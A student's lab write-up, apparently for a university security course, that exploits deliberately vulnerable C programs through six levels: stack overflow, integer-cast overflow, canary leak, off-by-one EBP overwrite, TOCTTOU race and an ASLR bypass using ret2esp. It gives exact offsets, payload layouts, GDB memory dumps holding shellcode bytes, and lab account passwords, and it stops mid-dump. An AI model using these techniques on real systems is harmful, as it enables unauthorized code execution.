

Problem 1 - Tutorial (vsftpd : peyrinshould)

Main Idea

The vulnerability in this question is that `gets(door)` does not check the length of the input from the user, which allows for a buffer overflow attack. By overwriting the return address of the frame to point at the shellcode, which we inserted after the return address, we can execute the shellcode.

Magic Numbers

I first determined the addresses of the door buffer (`0xbffff8e8`) and the value of the EIP register (`0xbffff8fc`) (which is the return instruction pointer) when executing the `deja vu` function. This was done by invoking GDB and setting a breakpoint at line 7.

```
(gdb) x/16x door
0xbffff8e8: 0xbffff99c 0xb7ffc165 0x00000000 0x00000000
0xbffff8f8: 0xbffff908 0xb7ffc4d3 0x00000000 0xbffff920
0xbffff908: 0xbffff99c 0xb7ffc6ae 0xb7ffc648 0xb7ffefd8
0xbffff918: 0xffff994 0xb7ffc6ae 0x00000001 0xbffff994
(gdb) i f
Stack frame at 0xbffff900:
eip = 0xb7ffc4ab in deja_vu (dejavu.c:7); saved eip 0xb7ffc4d3
called by frame at 0xbffff920
source language c.
Arglist at 0xbffff8f8, args:
Locals at 0xbffff8f8, Previous frame's sp is 0xbffff900
Saved registers:
ebp at 0xbffff8f8, eip at 0xbffff8fc
```

By doing so, I learned that the location of the return address from this function was 20 bytes away from the start of the buffer (`0xbffff8fc - 0xbffff8e8 = 20`).

Exploit Structure

I used this information to structure the final exploit. The exploit consisted of three sequential sections:

1. `0xbffff8e8`: First, I include 20 dummy characters to pad the buffer until I reach the return address pointer.
2. `0xbffff8fc`: Next, I insert our new return address. Since I want the return address to be the address of the shellcode (which is inserted directly after), I inserted `0xbffff900` (`0xbffff8fc + 4`) into the return address so it points to 4 bytes after the return address.
3. `0xbffff900`: Finally, I inserted the rest of the shellcode immediately after.

Exploit GDB Output

When I ran GDB after inputting the malicious exploit string (and setting a breakpoint after `gets()`), I got the following output:

```
(gdb) x/16x door
0xbffff8e8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8f8: 0x41414141 0xbffff900 0xcd58326a 0x89c38980
0xbffff908: 0x58476ac1 0xc03180cd 0x2f2f6850 0x2f686873
0xbffff918: 0x546e6962 0x8953505b 0xb0d231e1 0x0a80cd0b
```

As predicted, the `gets()` function wrote past the buffer boundary, overwriting the return instruction pointer to point to the given shellcode afterwards.

Problem 2 - Compromising Further (smith : probablystop)

Main Idea

The vulnerability in this question is the integer casting between `int8_t` (an 8-bit signed integer) and `size_t` (an unsigned integer) meaning its minimum value is -128 and its maximum value is 127. Regardless of what value an `int8_t` variable is set to, it is impossible for it to be larger than 128, meaning the `size > 128` condition in line 17 of `agent-smith.c` is completely useless and cannot detect if the file size truly is larger than 128 bytes. By creating a file whose first byte represents 255, this size check will not raise a warning. `fread()` will then cast the byte as `size_t` and interpret it as 255, allowing us to easily write more than 128 char in `msg[]` and to perform a buffer overflow attack similar to Problem 1.

Important Lines/Functions

- `memset(msg, 0, 128)` simply sets all bits in `msg` to 0.
- `FILE *file = fopen(path, "r")` opens the file called `path` as read-only. `file` is a `FILE` pointer.
- `size_t n = fread(&size, 1, 1, file)` stores the first byte/character of the file in `&size`. This initial byte specifies the length of the rest of the input. If the byte cannot be read, `n = 0`.
- `n = fread(msg, 1, size, file)` stores the next size bytes in `file` in `msg` (as in they were elements of an array). `n = number of properly read bytes`.
- `puts(msg)` writes `msg` to `stdout`, up until the null character. Then add a newline character.

Magic Numbers

I first determined the addresses of the `msg` buffer (`0xbffff848`) and the value of the EIP register (`0xbffff8dc`) (which is the return instruction pointer) when executing the `agent-smith` function. This was done by invoking GDB and setting a breakpoint at line 11 (immediately after `msg` is set to 0).

```
(gdb) x/40x msg
0xbffff848: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff858: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff868: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff878: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff888: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff898: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff8a8: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff8b8: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff8c8: 0x00000000 0x000003ec 0x00000000 0xb7ffc5c
0xbffff8d8: 0xbffff8f8 0x00400775 0xbffffa8a 0x00000000
```

```
(gdb) i f
```

```
Stack level 0, frame at 0xbffff8e0:
```

```
eip = 0x400695 in display (agent-smith.c:9); saved eip = 0x400775
```

```
called by frame at 0xbffff910
```

```
source language c.
```

```
Arglist at 0xbffff8d8, args: path=0xbffffa8a "pwnzerized"
```

```
Locals at 0xbffff8d8, Previous frame's sp is 0xbffff8e0
```

```
Saved registers:
```

```
ebx at 0xbffff8d4, ebp at 0xbffff8d8, eip at 0xbffff8dc
```

By doing so, I learned that the location of the return address from this function was 148 bytes away from the start of the buffer (`0xbffff8dc - 0xbffff848 = 0x94 = 148`).

Exploit Structure

I used this information to structure the final exploit. The exploit consisted of three sequential sections:

1. 0xbffff848: First, I include 148 dummy characters to pad the buffer until I reach the return address pointer.
2. 0xbffff8dc: Next, I insert our new return address. Since I want the return address to be the address of the shellcode (which is inserted directly after), I inserted 0xbffff8e0 (0xbffff8dc + 4) into the return address so it points to 4 bytes after the return address.
3. 0xbffff8e0: Finally, I inserted the rest of the shellcode immediately after.

Additionally, just before inserting dummy characters in 0xbffff848, I must enter the first character \xff, indicating to the program that the size of the file is 255 bytes long (doesn't have to be this long, but it doesn't really matter). This is necessary in order for all of our subsequent bytes to be read and written in.

Exploit GDB Output

When I ran GDB after inputting the malicious exploit string (and setting a breakpoint after puts()), I got the following output:

(gdb) x/60x msg

0xbffff848:	0x41414141	0x42424241	0x43434242	0x44434343
0xbffff858:	0x44444444	0x45454545	0x46464645	0x47474646
0xbffff868:	0x48474747	0x48484848	0x49494949	0x4a4a4a49
0xbffff878:	0x41414a4a	0x42414141	0x42424242	0x43434343
0xbffff888:	0x44444443	0x45454444	0x46454545	0x46464646
0xbffff898:	0x47474747	0x48484847	0x49494848	0x4a494949
0xbffff8a8:	0x4a4a4a4a	0x41414141	0x42424241	0x43434242
0xbffff8b8:	0x44434343	0x44444444	0x45454545	0x46464645
0xbffff8c8:	0x000000c0	0x48474747	0x48484848	0x49494949
0xbffff8d8:	0x4a4a4a49	0xbffff8e0	0xcd58326a	0x89c38980
0xbffff8e8:	0x58476ac1	0xc03180cd	0x2f2f6850	0x2f686873
0xbffff8f8:	0x546e6962	0x8953505b	0xb0d231e1	0x0a80cd0b
0xbffff908:	0xbffff990	0xb7f8cc8b	0x00000002	0xbffff984
0xbffff918:	0xbffff990	0x00000008	0x00000000	0x00000000
0xbffff928:	0xb7f8cc5f	0x00401fb8	0xbffff980	0xb7ffede4

As predicted, the puts() function wrote past the buffer boundary of msg, overwriting the return instruction pointer to point to the given shellcode afterwards.

Problem 3 - Secret Exfiltration (jz : releasingprojects)

Main Idea

The vulnerability in this question is that `dehexify()` does not have a good enough check on the bounds or the format of our input to `c.buffer`, which we can exploit if we end the input with “\x”. Using this vulnerability, `c.answer` will continue copying bytes at nearby higher addresses until the next null byte `0x00`. Then, `c.answer` will print out all characters from the beginning of `c.answer` until the next null byte, which will include the canary we are searching for.

Magic Numbers

I first determined the addresses of both buffers in `c` (`c.answer` starts at `0xbffff8e4`, `c.buffer` starts at `0xbffff8f4`). I also determined the locations of the saved RIP (`0xbffff910`), EBP (`0xbffff90c`), and ESP (`0xbffff8d4`) in the stack frame. This was done by invoking GDB and setting a breakpoint at line 18 (immediately before `gets(c.buffer)`).

(gdb) x/20x c.answer

0xbffff8e4:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffff8f4:	0x00000000	0x00000000	0x00000000	0x00401fb0
0xbffff904:	0x347778a9	0x00401fb0	0xbffff918	0x00400839
0xbffff914:	0xb7ffc5c	0xbffff99c	0xb7f8cc8b	0x00000001
0xbffff924:	0xbffff994	0xbffff99c	0x00000008	0x00000000

(gdb) x/20x c.buffer

0xbffff8f4:	0x00000000	0x00000000	0x00000000	0x00401fb0
0xbffff904:	0x347778a9	0x00401fb0	0xbffff918	0x00400839
0xbffff914:	0xb7ffc5c	0xbffff99c	0xb7f8cc8b	0x00000001
0xbffff924:	0xbffff994	0xbffff99c	0x00000008	0x00000000
0xbffff934:	0x00000000	0xb7f8cc5f	0x00401fb0	0xbffff990

(gdb) i f

Stack level 0, frame at 0xbffff914:

eip = 0x40072f in `dehexify` (`agent-jz.c:18`); saved eip = 0x400839

called by frame at 0xbffff920

source language c.

Arglist at 0xbffff90c, args:

Locals at 0xbffff90c, Previous frame's sp is 0xbffff914

Saved registers:

ebx at 0xbffff908, ebp at 0xbffff90c, eip at 0xbffff910

(gdb) i r ebp esp

ebp	0xbffff90c	0xbffff90c
esp	0xbffff8d4	0xbffff8d4

After multiple runs, it is clear that the 2 words at `0xbffff904` (green) is the canary value, as it is the only value at a lower address than EBP and EIP that consistently changes each time. (it seems that the only the half with lower addresses changes each time). I also learned that the location of the return address from this function was 44 bytes away from the start of the buffer (`0xbffff910 - 0xbffff8e4 = 0x2C = 44`).

Exploit Structure

First, I used this information to draw a stack diagram of the stack frame (stack grows down):

0xbffff910	RIP (return address) of dehexify
0xbffff90c	SFP (frame pointer) of dehexify
0xbffff908	0x00401fb0 (2nd half of stack canary)
0xbffff904	1st half of stack canary
0xbffff8f4	char buffer[16] in c
0xbffff8e4	char answer[16] in c

Let's shorthand `ans[]` for `c.answer[]` and `buf[]` for `c.buffer[]`. If `buf[12]='\'` and `buf[13]='x'`, the code will "merge" `buf[14]` and `buf[15]` into `ans[12]` (using `nibble_to_int()` and bitwise operations). Note that during this "merging", the values of `buf[14]` and `buf[15]` aren't checked, so even if one was the null character `'\0'`, the code will continue looping and setting values for `ans[]` (`ans[13] = buf[16]`, `ans[14] = buf[17]`, etc.) Due to this vulnerability, the while loop will only stop when it finds a null byte `0x00`, which doesn't occur until the byte at address `0xbffff90b` (unless `0x00` occurs in the canary itself, which is very unlikely). Then, when `printf("%s\n", c.answer)` is run in line 33, all the characters from `0xbffff8f4` (first character in buffer) to `0xbffff908` (where `0x00` next occurs) will be printed, which includes the stack canary we are looking for.

I used this information to structure the final exploit in the script "interact". The exploit consisted of two main parts: finding the stack canary and inserting the malicious code:

1. Discover stack canary: First, I did an initial input of 12 garbage characters followed by `'\x'` (be sure to do `'\\'` when entering `'\'`). I sent this message and received the response. Since the stack canary lies from `buf[16]` to `buf[19]`, it will also lie from `ans[13]` to `ans[16]`.
2. `0xbffff8e4`: Now it's time to use this stack canary to help write the shellcode to the RIP undetected. First, I input 16 garbage bytes to fill `buf[]`.
3. `0xbffff904`: Then I write both words of the stack canary. I concat the first word (a random word found in step 1) and the second word (a static word found through GDB).
4. `0xbffff90c`: Next, I insert 4 garbage bytes to fill the SFP, which no longer matters.
5. `0xbffff910`: Then, I insert the address to the malicious shellcode, which is located directly after this address. $0xbffff910 + 4 = 0xbffff914$.
6. `0xbffff914`: This is where the malicious code goes.
7. Send the input: Finally, add a newline character `'\n'` and `p.send()` the entire input.

It's a bit hard to show the GDB output of this exploit, so all I can offer is the output of this exploit.

```
pwnable:~$ ./exploit
I can only show you the door. You're the one that has to walk through it.

Next username: brown
Next password: whileon
I can only show you the door. You're the one that has to walk through it.

Next username: brown
Next password: whileon
I can only show you the door. You're the one that has to walk through it.

Next username: brown
Next password: whileon
pwnable:~$
```

Problem 4 - Deep Infiltration (brown : whileon)

Main Idea

The vulnerability in this question is that `flip()` does not properly read all 64 characters in `buf` properly. for `(i=0; i<n && i<=64; ++i)` accidentally reads 1 byte (at index 64) outside of the buffer boundary, enabling us to perform an off-by-one attack. Since that 1 byte is also the last byte of the SFP (old EBP) of `invoke()`, `buf[64]` will overwrite it, thus moving the EBP to another location when `invoke()` returns. If the corrupted EBP address points to a location inside the `buf`, then I can also manipulate the EIP to point to another address where our shellcode can be located, such as `ENV`.

Magic Numbers

First, I printed the shell code in the the egg script, thus setting the `ENV` variable to that value. I then determined the address of `ENV` (`0xbffff93`), the addresses of the `buf` buffer (`0xbffff870`), and the value of the `ebp` register (`0xbffff860`) (which is the return frame pointer) immediately before returning from the `invoke()` function. This was done by invoking GDB and setting a breakpoint at line 21 (immediately before `invoke()` returns).

First I used 64 garbage characters for `arg`:

```
(gdb) x/s *((char **)environ + 2)
0xbffff93:  "ENV=j2X\211É\301jG\1\300Ph//shh/binT[PS\211\341\061¥\v"
(gdb) x/20x buf
0xbffff850:  0x61616161    0x62626261    0x63636262    0x64636363
0xbffff860:  0x64646464    0x65656565    0x66666665    0x61616666
0xbffff870:  0x62616161    0x62626262    0x63636363    0x64646463
0xbffff880:  0x65656464    0x66656565    0x66666666    0x61616161
0xbffff890:  0xbffff89c    0xb7ffc539    0xbfffa2d     0xbffff8a8
(gdb) i f
Stack level 0, frame at 0xbffff898:
 eip = 0xb7ffc52b in invoke (agent-brown.c:21); saved eip = 0xb7ffc539
 called by frame at 0xbffff8a4
 source language c.
 Arglist at 0xbffff890, args:
 in=0xbfffa2d "AAAAABBBBCCCCDDDDDEEEEEFFFFFAAAAABBBBCCCCDDDDDEEEEEFFFFFA"
 Locals at 0xbffff890, Previous frame's sp is 0xbffff898
 Saved registers:
  ebp at 0xbffff890, eip at 0xbffff894
```

Then I used 65 garbage characters for `arg` (65th is 'A'):

```
(gdb) x/s *((char **)environ + 2)
0xbffff93:  "ENV=j2X\211É\301jG\1\300Ph//shh/binT[PS\211\341\061¥\v"
(gdb) x/20x buf
0xbffff850:  0x61616161    0x62626261    0x63636262    0x64636363
0xbffff860:  0x64646464    0x65656565    0x66666665    0x61616666
0xbffff870:  0x62616161    0x62626262    0x63636363    0x64646463
0xbffff880:  0x65656464    0x66656565    0x66666666    0x61616161
0xbffff890:  0xbffff861    0xb7ffc539    0xbfffa2c     0xbffff8a8
```

```
(gdb) i f
Stack level 0, frame at 0xbffff898:
eip = 0xb7ffc52b in invoke (agent-brown.c:21); saved eip = 0xb7ffc539
called by frame at 0xbffff869
source language c.
Arglist at 0xbffff890, args:
in=0xbffffa2c "AAAAABBBBBBBBBCCCCDDDDDEEEEEFFFFFFFAAAAABBBBBBBBBCCCCDDDDDEEEEEFFFFFFFA"
Locals at 0xbffff890, Previous frame's sp is 0xbffff898
Saved registers:
ebp at 0xbffff890, eip at 0xbffff894
```

Note that the last byte of EBP was overwritten to 0x61. The overflow value from input (input[64] = 'A' = 0x41) was XOR'd with 0b00100000 = 0x20 to become buf[64] = 'a' = 0x61. I also determined that buf begins at 0xbffff850 and ends at 0xbffff88f, meaning I need to get EBP to point to some address within that range.

Exploit Structure

First, I need to set the ENV environment variable to the shellcode, as described in the previous section. I used the information from the GDB tests to structure the final exploit. The exploit consisted of two sequential sections:

1. 0xbffff850: First, I include the address to the shellcode stored in ENV. ENV is located at 0xbffff93, but the beginning of the shellcode actually starts at 0xbffff93 + 4 = 0xbffff97 ("ENV=" takes up 4 bytes). I then copy 0xbffff97 a total of 16 times to quickly fill up the first 64 characters in buf.
2. 0xbffff890: Then, I include the address to any one of these 16 shellcode addresses (I randomly chose 0xbffff860). Thus, I need to store buf[64]=0x60 to change EBP from 0xbffff89c to 0xbffff860.

However, buf will not simply copy this input as is. It will first XOR each byte with (1u<<5) = 0b00100000 = 0x20, so I need to adjust my input bytes accordingly:

1. 0xbffff850: 0xbffff97 ^ 0x20202020 = 0x9fdfd7b7
2. 0xbffff890: 0x60 ^ 0x20 = 0x40.

Exploit GDB Output

When I ran GDB with this exploit, I got the following result:

```
(gdb) x/20x buf
0xbffff850:  0xbffff97  0xbffff97  0xbffff97  0xbffff97
0xbffff860:  0xbffff97  0xbffff97  0xbffff97  0xbffff97
0xbffff870:  0xbffff97  0xbffff97  0xbffff97  0xbffff97
0xbffff880:  0xbffff97  0xbffff97  0xbffff97  0xbffff97
0xbffff890:  0xbffff860 0xb7ffc539 0xbffffa2c 0xbffff8a8
```

As predicted, the \x40 input character overwrote the EBP return value. The new corrupted value, 0xbffff860, now points back to the buf where the address to the shellcode is stored. Immediately after EBP is set to 0xbffff860, EIP will be set to 0xbffff97 (stored 4 bytes above EBP at 0xbffff894) and run the shellcode instructions at that address.

Problem 5 - Against the Clock (oracle : threehours)

Main Idea

The vulnerability in this question is that after the beginning checks on the file size of “hack”, the program no longer checks the file size again for the rest of the program. Since the “hack” is a shared system resource that can be changed at any time by another user, we can change the file contents of “hack” while the code waits for `bytes_to_read` on line 35 in `read_file()`, enabling us to overwrite the `buf` buffer and write into the RIP. This is called a time-of-check to time-of-use (TOCTTOU) vulnerability.

Important Lines/Functions

- `open(FILENAME, O_RDONLY)` will open ‘hack’ as a read-only file. Then it will return -1 if there was an error (eg. doesn’t exist, wrong permissions, not enough storage space) or return a nonnegative “file descriptor” otherwise.
- `fstat(fd, &st)` will get the status of the file with file descriptor `fd` and write the results in `st` (a special struct). Then it will return -1 if there is an error (eg. cannot read from file system, file size cannot be expressed correctly in `st`, value is too big to fit in `st`) or return 0 otherwise.
- `file_is_too_big(fd)` will return 1 if the size of the file with file descriptor `fd` \geq `MAX_BUFSIZE` (aka 128) bytes, or return 0 otherwise.
- `scanf("%u", &bytes_to_read)` will read an input, treat it with the format “%u” (i.e. as an unsigned integer), then store that integer at `&bytes_to_read`. Then it will return -1 if an error occurs, or return the number of items of the argument list (should just be 1) otherwise. If a reading error happens or an EOF is reached, the proper indicator (`feof` or `ferror`) is set.
- `read(fd, buf, bytes_to_read)` will read `bytes_to_read` bytes from the file with file descriptor `fd`, then store it in `buf`. Then it will return -1 if there is an error or return the number of successfully read bytes otherwise.

Magic Numbers

First, I need to create a new file called “hack”. I first filled it with 126 garbage characters (which is followed by a newline character ‘\n’ and a null character ‘\0’) to fill up the 128-byte `buf` as much as possible without raising an error. I then determined the addresses of the `buf` buffer (`0xbffff868`) and the value of the `eip` register (`0xbffff8fc`) (which is the return instruction pointer) immediately before scanning in `bytes_to_read` in `read_file()`. This was done by invoking GDB and setting a breakpoint at line 33 (before asking for user input), and another at line 42 (after inputting a large arbitrary number like 200 that will store all characters in “hack” in `buf`):

(breakpoint at line 33)

(gdb) x/50x buf

0xbffff868:	0x00000000	0xb7fc8d49	0x00000000	0x00400034
0xbffff878:	0xbffff880	0x00000008	0x01be3c6e	0x00000001
0xbffff888:	0x00000050	0x00001fa0	0x00000000	0x00000300
0xbffff898:	0x00000180	0x00000000	0x00000000	0x00000000
0xbffff8a8:	0x0000011b	0x00000010	0x000004cc	0x000009a7
0xbffff8b8:	0x00000000	0x00000000	0x00000000	0x0000041c
0xbffff8c8:	0x00000060	0x00000008	0x00000011	0xb7fff1a8
0xbffff8d8:	0x00000000	0x0000047c	0x00000000	0x00000000
0xbffff8e8:	0x00000000	0x00000003	0x00000000	0xb7ffc5c
0xbffff8f8:	0xbffff908	0x00400972	0x00000000	0xbffff920
0xbffff908:	0xbffff99c	0xb7f8cc8b	0xbffff994	0x00000001
0xbffff918:	0xbffff99c	0xb7f8cc8b	0x00000001	0xbffff994


```
0xbffff928:    0xbffff99c    0x00000008
(gdb) i f
Stack level 0, frame at 0xbffff900:
  eip = 0x400856 in read_file (dejavu.c:33); saved eip = 0x400972
  called by frame at 0xbffff920
  source language c.
  Arglist at 0xbffff8f8, args:
  Locals at 0xbffff8f8, Previous frame's sp is 0xbffff900
  Saved registers:
    ebx at 0xbffff8f4, ebp at 0xbffff8f8, eip at 0xbffff8fc
```

(breakpoint at line 42)

(gdb) x/50x buf

0xbffff868:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff878:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff888:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff898:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff8a8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff8b8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff8c8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff8d8:	0x41414141	0x41414141	0x41414141	0x000a4141
0xbffff8e8:	0x0000007f	0x00000003	0x00000000	0xb7ffc5c
0xbffff8f8:	0xbffff908	0x00400972	0x00000000	0xbffff920
0xbffff908:	0xbffff99c	0xb7f8cc8b	0xbffff994	0x00000001
0xbffff918:	0xbffff99c	0xb7f8cc8b	0x00000001	0xbffff994
0xbffff928:	0xbffff99c	0x00000008		

(gdb) i f

```
Stack level 0, frame at 0xbffff900:
  eip = 0x400925 in read_file (dejavu.c:42); saved eip = 0x400972
  called by frame at 0xbffff920
  source language c.
  Arglist at 0xbffff8f8, args:
  Locals at 0xbffff8f8, Previous frame's sp is 0xbffff900
  Saved registers:
    ebx at 0xbffff8f4, ebp at 0xbffff8f8, eip at 0xbffff8fc
(gdb) p bytes_read
$1 = 127
```

By doing so, I concluded that the buffer stores its characters from 0xbffff868 to (0xbffff868 + 128 bytes - 1 = 0xbffff8e7). I also learned that the location of the return address from this function was 148 bytes away from the start of the buffer (0xbffff8fc - 0xbffff868 = 0x94 = 148). The word at 0xbffff8e8 stores the bytes_read, which is currently 127 bytes. I'm not sure what the 2 words stored at 0xbffff8f0 (0x00000000 0xb7ffc5c) are meant for, but I can confirm that they are not stack canaries, as setting them to other values does not raise an error.

Exploit Structure

First, I used this information (in addition to a few more address checks in GDB) to draw a stack diagram of the stack frame (stack grows down):

0xbffff8fc	RIP (return address) of read_file
0xbffff8f8	SFP (frame pointer) of read_file
0xbffff8f0	unused 8 bytes
0xbffff8ec	int fd = 3 (file descriptor)
0xbffff8e8	ssize_t bytes_read
0xbffff868	char buf[128]
0xbffff864	uint32_t bytes_to_read

I used this information to structure the final exploit in the script “interact”. The exploit consisted of 3 main sequential sections:

1. Normal “hack” file: First I open and write “hack” with permissible content, such as “Greetings!”. This will get me through the preconditions at the beginning of read_file().
2. Malicious “hack” file: Once I receive the prompt to input bytes_to_read by calling p.recv(30), I immediately change the content of hack to overwrite the stack. If written properly, read() will write past the buf boundary and overwrite the stack.
 - a. 0xbffff868: First, I write 128 garbage bytes to fill up buf.
 - b. 0xbffff8e8: It shouldn’t matter what value I make bytes_read here, since it’ll be overwritten with the return value of read() later. I write 4 garbage bytes.
 - c. 0xbffff8ec: At this point, the function no longer reads fd, so I write 4 garbage bytes.
 - d. 0xbffff8f0: Then I write 8 garbage bytes.
 - e. 0xbffff8f8: The frame pointer doesn’t matter, so I write 4 garbage bytes.
 - f. 0xbffff8fc: Then, I insert the address to the malicious shellcode, which is located directly after this address. $0xbffff8fc + 4 = 0xbffff900$. Since I’m a bit wary about having the address include a null character (though I shouldn’t be), I’ll store the shellcode at $0xbffff8fc + 4 + 4 = 0xbffff904$ after adding an additional 4 garbage bytes.
 - g. 0xbffff904: This is where the malicious shellcode goes.
 - h. Finally, end the shellcode with a newline character ‘\n’.If you’re keeping track, the sequence is 148 garbage bytes + new RIP (0xbffff904) + 4 garbage bytes + SHELLCODE + ‘\n’.
3. Enter bytes_to_read: Now that “hack” has made its way through, I send the desired number of bytes I want to write into buf. Since I’m going to end my malicious “hack” content with a newline character ‘\n’, I’ll let EOF handle sending everything in “hack”. I input a large arbitrary number like 300 through p.send().

Exploit GDB Output

To test this code, I used tmux to run 2 panes. On the left pane, I ran invoke -d dejavu, and stopped once I got to the breakpoint at line 33 (at this point, “hack” contains the message “Greetings!”). Then, on the right pane, I change the file content of “hack” to the malicious code. Then, I continue the GDB program on the left pane and view the stack at breakpoint 42. I got the following result:

(breakpoint at line 33)

(gdb) x/50x buf

```
0xbffff868: 0x00000000 0xb7fc8d49 0x00000000 0x00400034
0xbffff878: 0xbffff880 0x00000008 0x01be3c6e 0x00000001
0xbffff888: 0x00000050 0x00001fa0 0x00000000 0x00000300
0xbffff898: 0x00000180 0x00000000 0x00000000 0x00000000
0xbffff8a8: 0x0000011b 0x00000010 0x000004cc 0x000009a7
0xbffff8b8: 0x00000000 0x00000000 0x00000000 0x0000041c
0xbffff8c8: 0x00000060 0x00000008 0x00000011 0xb7fff1a8
0xbffff8d8: 0x00000000 0x0000047c 0x00000000 0x00000000
0xbffff8e8: 0x00000000 0x00000003 0x00000000 0xb7ffc5c
0xbffff8f8: 0xbffff908 0x00400972 0x00000000 0xbffff920
0xbffff908: 0xbffff99c 0xb7f8cc8b 0xbffff994 0x00000001
0xbffff918: 0xbffff99c 0xb7f8cc8b 0x00000001 0xbffff994
0xbffff928: 0xbffff99c 0x00000008
```

(gdb) i f

Stack level 0, frame at 0xbffff900:

eip = 0x400856 in read_file (dejavu.c:33); saved eip = 0x400972

called by frame at 0xbffff920

source language c.

Arglist at 0xbffff8f8, args:

Locals at 0xbffff8f8, Previous frame's sp is 0xbffff900

Saved registers:

ebx at 0xbffff8f4, ebp at 0xbffff8f8, eip at 0xbffff8fc

(breakpoint at line 42, sometime after inputting "300")

(gdb) x/50x buf

```
0xbffff868: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff878: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff888: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff898: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8a8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8b8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8c8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8d8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8e8: 0x000000f3 0x44444444 0x45454545 0x45454545
0xbffff8f8: 0x46464646 0xbffff904 0x46464646 0xdb31c031
0xbffff908: 0xd231c931 0xb05b32eb 0xcdc93105 0xebc68980
0xbffff918: 0x3101b006 0x8980cddb 0x8303b0f3 0x0c8d01ec
0xbffff928: 0xcd01b224 0x39db3180
```

As predicted, changing the content of "hack" to my malicious code completely filled buf, overwrote the SFP, set RIP to the shellcode address, and wrote shellcode on the stack. Note that bytes_read (green) is now 0xf3 = 243, which is located after shellcode finishes, so we don't need to worry about buf[bytes_read] = 0 in line 41 of dejavu.c affecting our message.

Problem 6 - The Last Bastion (jones : ofsleep)

Main Idea

The vulnerability in this question is that the buffer receive size ($n < 3$) is greater than the actual buffer size (n), enabling me to write more characters in `buf` and cause a buffer overflow. Although ASLR randomized the stack and the heap, preventing me from overwriting the return address with a fixed address, it does not randomize the program code in `.text`. Therefore, I can use hardcoded instructions already existing in `.text` to overwrite the EIP to the location of my shellcode. For instance, in `magic()`, `agent-jones` contains a hard-coded decimal `58623 = 0xe4ff`, which is stored in little endian as `0xffe4` and can be interpreted as the x86 instruction `jmp *%esp`. If the EIP is overwritten to this unintentional `jmp` instruction, I'll be able to get the EIP to point to the current ESP address, where I can insert the address of my shellcode. Essentially, I have created a "stack juggling" / `ret2esp` attack as described in Section 8 of "ASLR Smack & Laugh Reference" by Tilo Müller (page 12-14).

Magic Numbers

Before debugging, I made `egg` print 50 'A' characters, long enough to write over the space allocated for `buf`. First, I determined that the ORL instruction containing the constant in `magic()` is located at `0x08048663` and confirmed that `0x08048666` (3 bytes higher where `58623` is stored) corresponds to the instruction `jmp *%esp`. This was done by invoking GDB and disassembling `magic()`:

```
(gdb) disas magic
```

```
Dump of assembler code for function magic:
```

```
0x08048644 <+0>:  push  %ebp
0x08048645 <+1>:  mov   %esp,%ebp
0x08048647 <+3>:  call 0x804892c <__x86.get_pc_thunk.ax>
0x0804864c <+8>:  add   $0x1964,%eax
0x08048651 <+13>: mov   0xc(%ebp),%eax
0x08048654 <+16>: shl   $0x3,%eax
0x08048657 <+19>: xor   %eax,0x8(%ebp)
0x0804865a <+22>: mov   0x8(%ebp),%eax
0x0804865d <+25>: shl   $0x3,%eax
0x08048660 <+28>: xor   %eax,0xc(%ebp)
0x08048663 <+31>: orl   $0xe4ff,0x8(%ebp)
0x0804866a <+38>: mov   0xc(%ebp),%ecx
0x0804866d <+41>: mov   $0x3e0f83e1,%edx
0x08048672 <+46>: mov   %ecx,%eax
0x08048674 <+48>: mul   %edx
0x08048676 <+50>: mov   %edx,%eax
0x08048678 <+52>: shr   $0x4,%eax
0x0804867b <+55>: imul  $0x42,%eax,%eax
0x0804867e <+58>: sub   %eax,%ecx
0x08048680 <+60>: mov   %ecx,%eax
0x08048682 <+62>: mov   %eax,0xc(%ebp)
0x08048685 <+65>: mov   0x8(%ebp),%eax
0x08048688 <+68>: and   0xc(%ebp),%eax
0x0804868b <+71>: pop   %ebp
0x0804868c <+72>: ret
```

```
(gdb) x/i 0x08048663
```

```
0x8048663 <magic+31>:    orl  $0xe4ff,0x8(%ebp)
(gdb) x/i 0x08048666
0x8048666 <magic+34>:    jmp  *%esp
```

Next, I determined the addresses of buf (0xbfaaf220) and the values of the EBP register (0xbfaaf248) and EIP register (0xbfaaf24c), all by setting a breakpoint at line 39 (immediately after buf is created and cleared) and at line 32 (immediately before sending buf). Of course, these values will change each execution, but more importantly I can determine the number of bytes I'll need to fill buf with to reach the RIP of handle(). To get to this point, I had to use tmux so I could run invoke -d agent-jones 42000 in one pane and run ./debug-exploit in the other:

```
(breakpoint at line 39)
(gdb) x/20x buf
0xbfaaf220: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaaf230: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaaf240: 0x00000003 0x08049fb0 0xbfaaf2a8 0x0804890e
0xbfaaf250: 0x00000004 0xbfaaf264 0xbfaaf260 0x0804879b
0xbfaaf260: 0x00000010 0x21af0002 0x0100007f 0x00000000
(gdb) i f
Stack level 0, frame at 0xbfaaf250:
 eip = 0x8048769 in handle (agent-jones.c:39); saved eip = 0x804890e
 called by frame at 0xbfaaf2c0
 source language c.
 Arglist at 0xbfaaf248, args: client=4
 Locals at 0xbfaaf248, Previous frame's sp is 0xbfaaf250
 Saved registers:
